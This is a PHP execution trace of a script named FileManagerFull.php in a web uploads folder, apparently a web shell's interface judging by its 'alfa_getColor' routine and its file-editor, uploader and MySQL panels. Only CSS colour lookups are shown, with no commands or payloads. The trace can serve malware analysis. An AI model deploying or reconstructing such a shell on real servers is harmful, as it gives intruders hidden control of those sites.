5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#0e304a', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'border: 2px solid {color};']]
5	193	1	0.021951	2801352
5	193	R			'#0e304a'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#0e304a'
5	194	0	0.021975	2801352	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#0e304a'	'border: 2px solid {color};'
5	194	1	0.021991	2801504
5	194	R			'border: 2px solid #0e304a;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'border: 2px solid #0e304a;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.editor-explorer,.editor-modal{border: 2px solid #0e304a;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'editor_background'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.editor-explorer,.editor-modal'
5	195	0	0.022055	2801368	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'editor_background'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'background-color: {color};']]
5	195	1	0.022088	2801368
5	195	R			'rgba(0, 1, 23, 0.94)'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = 'rgba(0, 1, 23, 0.94)'
5	196	0	0.022114	2801368	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'rgba(0, 1, 23, 0.94)'	'background-color: {color};'
5	196	1	0.022131	2801544
5	196	R			'background-color: rgba(0, 1, 23, 0.94);'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'background-color: rgba(0, 1, 23, 0.94);'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'editor_header_background'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.editor-header'
5	197	0	0.022197	2801392	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'editor_header_background'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => ['.editor-header' => 'background-color: {color};']]
5	197	1	0.022230	2801392
5	197	R			'rgba(21, 66, 88, 0.93)'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = 'rgba(21, 66, 88, 0.93)'
5	198	0	0.022256	2801392	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'rgba(21, 66, 88, 0.93)'	'background-color: {color};'
5	198	1	0.022273	2801568
5	198	R			'background-color: rgba(21, 66, 88, 0.93);'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'background-color: rgba(21, 66, 88, 0.93);'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.editor-header{background-color: rgba(21, 66, 88, 0.93);}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'editor_header_text'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.editor-path'
5	199	0	0.022338	2801392	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'editor_header_text'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#00ff7f', 'multi_selector' => ['.editor-path' => 'color: {color};']]
5	199	1	0.022368	2801392
5	199	R			'#00ff7f'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#00ff7f'
5	200	0	0.022396	2801392	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#00ff7f'	'color: {color};'
5	200	1	0.022412	2801528
5	200	R			'color: #00ff7f;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #00ff7f;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.editor-path{color: #00ff7f;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'editor_header_button'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.close-button, .editor-minimize'
5	201	0	0.022473	2801352	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'editor_header_button'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#1d5673', 'multi_selector' => ['.close-button, .editor-minimize' => 'background-color: {color};']]
5	201	1	0.022504	2801352
5	201	R			'#1d5673'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#1d5673'
5	202	0	0.022529	2801352	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#1d5673'	'background-color: {color};'
5	202	1	0.022545	2801504
5	202	R			'background-color: #1d5673;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'background-color: #1d5673;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.close-button, .editor-minimize{background-color: #1d5673;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'editor_actions'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.editor_actions'
5	203	0	0.022609	2801624	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'editor_actions'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_actions' => 'color: {color};']]
5	203	1	0.022640	2801624
5	203	R			'#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#FFFFFF'
5	204	0	0.022664	2801624	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	204	1	0.022680	2801760
5	204	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.editor_actions{color: #FFFFFF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'editor_file_info_vars'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.editor_file_info_vars'
5	205	0	0.022741	2801608	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'editor_file_info_vars'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_file_info_vars' => 'color: {color};']]
5	205	1	0.022772	2801608
5	205	R			'#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#FFFFFF'
5	206	0	0.022795	2801608	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	206	1	0.022811	2801744
5	206	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.editor_file_info_vars{color: #FFFFFF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'editor_file_info_values'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.filestools'
5	207	0	0.022870	2801608	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'editor_file_info_values'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#67ABDF', 'multi_selector' => ['.filestools' => 'color: {color};']]
5	207	1	0.022901	2801608
5	207	R			'#67ABDF'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#67ABDF'
5	208	0	0.022925	2801608	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#67ABDF'	'color: {color};'
5	208	1	0.022941	2801744
5	208	R			'color: #67ABDF;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #67ABDF;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.filestools{color: #67ABDF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'editor_history_header'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.hheader-text,.history-clear'
5	209	0	0.023006	2801608	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'editor_history_header'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#14ff07', 'multi_selector' => ['.hheader-text,.history-clear' => 'color: {color};']]
5	209	1	0.023038	2801608
5	209	R			'#14ff07'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#14ff07'
5	210	0	0.023063	2801608	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#14ff07'	'color: {color};'
5	210	1	0.023079	2801744
5	210	R			'color: #14ff07;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #14ff07;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.hheader-text,.history-clear{color: #14ff07;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'editor_history_list'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.editor-file-name'
5	211	0	0.023150	2801608	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'editor_history_list'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#03b3a3', 'multi_selector' => ['.editor-file-name' => 'color: {color};']]
5	211	1	0.023181	2801608
5	211	R			'#03b3a3'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#03b3a3'
5	212	0	0.023206	2801608	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#03b3a3'	'color: {color};'
5	212	1	0.023222	2801744
5	212	R			'color: #03b3a3;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #03b3a3;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.editor-file-name{color: #03b3a3;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'editor_history_selected_file'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.is_active'
5	213	0	0.023308	2801608	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'editor_history_selected_file'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => ['.is_active' => 'background-color: {color};']]
5	213	1	0.023341	2801608
5	213	R			'rgba(49, 55, 93, 0.77)'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = 'rgba(49, 55, 93, 0.77)'
5	214	0	0.023368	2801608	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'rgba(49, 55, 93, 0.77)'	'background-color: {color};'
5	214	1	0.023385	2801784
5	214	R			'background-color: rgba(49, 55, 93, 0.77);'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'background-color: rgba(49, 55, 93, 0.77);'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.is_active{background-color: rgba(49, 55, 93, 0.77);}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'editor_history_file:hover'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.file-holder > .history:hover'
5	215	0	0.023452	2802160	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'editor_history_file:hover'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#646464', 'multi_selector' => ['.file-holder > .history:hover' => 'background-color: {color};']]
5	215	1	0.023491	2802160
5	215	R			'#646464'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#646464'
5	216	0	0.023516	2802160	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#646464'	'background-color: {color};'
5	216	1	0.023533	2802312
5	216	R			'background-color: #646464;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'background-color: #646464;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.file-holder > .history:hover{background-color: #646464;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'input_box_border'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = 'input[type=text],textarea'
5	217	0	0.023623	2802136	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'input_box_border'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['input[type=text],textarea' => 'border: 1px solid {color}']]
5	217	1	0.023657	2802136
5	217	R			'#0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#0E304A'
5	218	0	0.023682	2802136	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	218	1	0.023698	2802288
5	218	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= 'input[type=text],textarea{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'input_box_text'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = 'input[type=text],textarea'
5	219	0	0.023767	2802136	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'input_box_text'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#999999', 'multi_selector' => ['input[type=text],textarea' => 'color: {color};']]
5	219	1	0.023799	2802136
5	219	R			'#999999'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#999999'
5	220	0	0.023826	2802136	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#999999'	'color: {color};'
5	220	1	0.023842	2802272
5	220	R			'color: #999999;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #999999;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= 'input[type=text],textarea{color: #999999;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'input_box:hover'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = 'input[type=text]:hover,textarea:hover'
5	221	0	0.023940	2802120	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'input_box:hover'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=text]:hover,textarea:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	221	1	0.023975	2802120
5	221	R			'#27979B'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#27979B'
5	222	0	0.023999	2802120	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	222	1	0.024017	2802296
5	222	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= 'input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'select_box_border'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = 'select'
5	223	0	0.024086	2802160	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'select_box_border'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['select' => 'border: 1px solid {color}']]
5	223	1	0.024118	2802160
5	223	R			'#0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#0E304A'
5	224	0	0.024143	2802160	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	224	1	0.024159	2802312
5	224	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= 'select{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'select_box_text'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = 'select'
5	225	0	0.024220	2802136	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'select_box_text'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#FFFFEE', 'multi_selector' => ['select' => 'color: {color};']]
5	225	1	0.024255	2802136
5	225	R			'#FFFFEE'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#FFFFEE'
5	226	0	0.024279	2802136	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#FFFFEE'	'color: {color};'
5	226	1	0.024295	2802272
5	226	R			'color: #FFFFEE;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #FFFFEE;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= 'select{color: #FFFFEE;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'select_box:hover'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = 'select:hover'
5	227	0	0.024356	2802120	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'select_box:hover'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['select:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	227	1	0.024390	2802120
5	227	R			'#27979B'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#27979B'
5	228	0	0.024415	2802120	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	228	1	0.024432	2802296
5	228	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= 'select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'button_border'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = 'input[type=submit],.button,#addup'
5	229	0	0.024499	2802160	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'button_border'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit],.button,#addup' => 'border: 1px solid {color};']]
5	229	1	0.024531	2802160
5	229	R			'#27979B'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#27979B'
5	230	0	0.024555	2802160	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#27979B'	'border: 1px solid {color};'
5	230	1	0.024572	2802312
5	230	R			'border: 1px solid #27979B;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'border: 1px solid #27979B;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= 'input[type=submit],.button,#addup{border: 1px solid #27979B;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'button:hover'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = 'input[type=submit]:hover'
5	231	0	0.024636	2802136	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'button:hover'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	231	1	0.024671	2802136
5	231	R			'#27979B'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#27979B'
5	232	0	0.024696	2802136	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:2px solid {color};'
5	232	1	0.024714	2802312
5	232	R			'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= 'input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.button:hover,#addup:hover'
5	233	0	0.024771	2802672	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'button:hover'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	233	1	0.024810	2802672
5	233	R			'#27979B'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#27979B'
5	234	0	0.024835	2802672	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	234	1	0.024852	2802848
5	234	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'outputs_text'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.ml1'
5	235	0	0.024919	2802672	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'outputs_text'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#67ABDF', 'multi_selector' => ['.ml1' => 'color: {color};']]
5	235	1	0.024949	2802672
5	235	R			'#67ABDF'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#67ABDF'
5	236	0	0.024975	2802672	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#67ABDF'	'color: {color};'
5	236	1	0.024991	2802808
5	236	R			'color: #67ABDF;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #67ABDF;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.ml1{color: #67ABDF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'outputs_border'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.ml1'
5	237	0	0.025051	2802632	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'outputs_border'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.ml1' => 'border: 1px solid {color};']]
5	237	1	0.025083	2802632
5	237	R			'#0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#0E304A'
5	238	0	0.025108	2802632	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#0E304A'	'border: 1px solid {color};'
5	238	1	0.025125	2802784
5	238	R			'border: 1px solid #0E304A;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'border: 1px solid #0E304A;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.ml1{border: 1px solid #0E304A;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'uploader_border'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.inputfile'
5	239	0	0.025187	2802648	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'uploader_border'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	239	1	0.025221	2802648
5	239	R			'#0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#0E304A'
5	240	0	0.025245	2802648	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#0E304A'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	240	1	0.025263	2802824
5	240	R			'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'uploader_background'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.inputfile strong'
5	241	0	0.025328	2802672	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'uploader_background'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile strong' => 'background-color: {color};']]
5	241	1	0.025361	2802672
5	241	R			'#0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#0E304A'
5	242	0	0.025389	2802672	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#0E304A'	'background-color: {color};'
5	242	1	0.025407	2802824
5	242	R			'background-color: #0E304A;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'background-color: #0E304A;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.inputfile strong{background-color: #0E304A;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'uploader_text_right'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.inputfile strong'
5	243	0	0.025479	2802648	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'uploader_text_right'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.inputfile strong' => 'color: {color};']]
5	243	1	0.025512	2802648
5	243	R			'#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#FFFFFF'
5	244	0	0.025537	2802648	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	244	1	0.025553	2802784
5	244	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.inputfile strong{color: #FFFFFF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'uploader_text_left'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.inputfile span'
5	245	0	0.025613	2802632	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'uploader_text_left'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#25ff00', 'multi_selector' => ['.inputfile span' => 'color: {color};']]
5	245	1	0.025644	2802632
5	245	R			'#25ff00'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#25ff00'
5	246	0	0.025668	2802632	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#25ff00'	'color: {color};'
5	246	1	0.025684	2802768
5	246	R			'color: #25ff00;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #25ff00;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.inputfile span{color: #25ff00;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'uploader:hover'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.inputfile:hover'
5	247	0	0.025745	2802632	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'uploader:hover'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['.inputfile:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	247	1	0.025778	2802632
5	247	R			'#27979B'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#27979B'
5	248	0	0.025802	2802632	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	248	1	0.025820	2802808
5	248	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'uploader_progress_bar'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.up_bar'
5	249	0	0.025889	2802672	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'uploader_progress_bar'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#00ff00', 'multi_selector' => ['.up_bar' => 'background-color: {color};']]
5	249	1	0.025920	2802672
5	249	R			'#00ff00'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#00ff00'
5	250	0	0.025945	2802672	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#00ff00'	'background-color: {color};'
5	250	1	0.025962	2802824
5	250	R			'background-color: #00ff00;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'background-color: #00ff00;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.up_bar{background-color: #00ff00;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'mysql_tables'
5	251	0	0.026019	2802648	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'mysql_tables'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#00FF00'
5	251	1	0.026045	2802648
5	251	R			'#00FF00'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#00FF00'
